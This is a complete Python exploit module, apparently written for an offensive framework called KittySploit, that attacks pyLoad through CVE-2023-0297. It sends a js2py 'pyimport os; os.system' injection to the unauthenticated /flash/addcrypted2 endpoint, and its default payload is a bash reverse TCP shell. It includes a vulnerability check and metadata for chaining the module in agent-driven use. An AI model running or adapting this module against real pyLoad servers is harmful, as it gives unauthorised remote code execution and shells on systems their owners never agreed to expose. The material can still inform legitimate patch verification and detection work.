pyLoad CVE-2023-0297 pyimport RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""pyLoad CVE-2023-0297 pre-auth pyimport RCE via /flash/addcrypted2."""

from __future__ import annotations

import re
from urllib.parse import quote

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        "name": "pyLoad CVE-2023-0297 pyimport RCE",
        "description": (
            "CVE-2023-0297 (pyLoad-ng < 0.5.0b3.dev31): unauthenticated POST "
            "/flash/addcrypted2 evaluates the jk form field via js2py without "
            "disable_pyimport(), allowing pyimport os; os.system(...)."
        ),
        "author": ["KittySploit Team"],
        "cve": ["CVE-2023-0297"],
        "platform": Platform.LINUX,
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2023-0297",
            "https://github.com/dinosn/exploit-watch-archive",
        ],
        "tags": ["pyload", "js2py", "rce", "unauth", "cve-2023-0297"],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 3,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "rce", "shell"],
            "requires": {"tech_hints_any": ["pyload"]},
            "chain": {
                "suggested_followups": [
                    "scanner/http/pyload_cve_2023_0297_detect",
                    "scanner/http/pyload_js2py_cve_2024_39205_detect",
                ],
            },
        },
    }

    port = OptPort(8000, "pyLoad web UI port", required=True)
    ssl = OptBool(False, "Use HTTPS", required=True)

    def _jk_body(self, cmd: str) -> str:
        safe = str(cmd).replace('"', '\\"')
        jk = f'pyimport os;os.system("{safe}");f=function f2(){{}};'
        return (
            "package=xxx&crypted=AAAA&jk="
            + quote(jk, safe="")
            + "&passwords=aaaa"
        )

    def execute(self, cmd: str) -> str:
        resp = self.http_request(
            "POST",
            "/flash/addcrypted2",
            data=self._jk_body(cmd),
            headers={"Content-Type": "application/x-www-form-urlencoded"},
            allow_redirects=False,
        )
        return (resp.text or "") if resp else ""

    def check(self):
        probe = self.http_request("GET", "/login", allow_redirects=True)
        body = (probe.text or "") if probe else ""
        if "pyload" not in body.lower():
            return {"vulnerable": False, "reason": "pyLoad login page not detected", "confidence": "low"}
        benign = self.http_request(
            "POST",
            "/flash/addcrypted2",
            data="package=x&crypted=AAAA&jk=function%20f(){return%20%22abcd%22;};&passwords=a",
            headers={"Content-Type": "application/x-www-form-urlencoded"},
        )
        text = (benign.text or "") if benign else ""
        if "Invalid key size" in text:
            return {"vulnerable": True, "reason": "jk evaluated on addcrypted2 (pre-auth)", "confidence": "high"}
        if "Unexpected token pyimport" in text:
            return {"vulnerable": False, "reason": "Patched (disable_pyimport active)", "confidence": "high"}
        return {"vulnerable": False, "reason": "addcrypted2 sink not confirmed", "confidence": "medium"}

    def check_execute(self):
        out = self.execute("echo PYLOAD0297CHECK")
        return "Could not decrypt key" in (out or "")

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error("Set payload")
            return False

        chk = self.check()
        if not chk.get("vulnerable"):
            print_error(chk.get("reason", "Not vulnerable"))
            self.not_vulnerable()
            return False

        print_status("CVE-2023-0297 — pyLoad pyimport RCE")
        out = self.execute(shell)
        if "Could not decrypt key" not in (out or ""):
            if "Unexpected token pyimport" in (out or ""):
                print_error("Target patched against pyimport")
                self.not_vulnerable()
                return False
            print_error("Unexpected addcrypted2 response")
            self.not_vulnerable()
            return False

        print_success("Command dispatched via pyimport (Could not decrypt key oracle)")
        if str(self.shell_from_payload() or "").strip():
            return True
        return True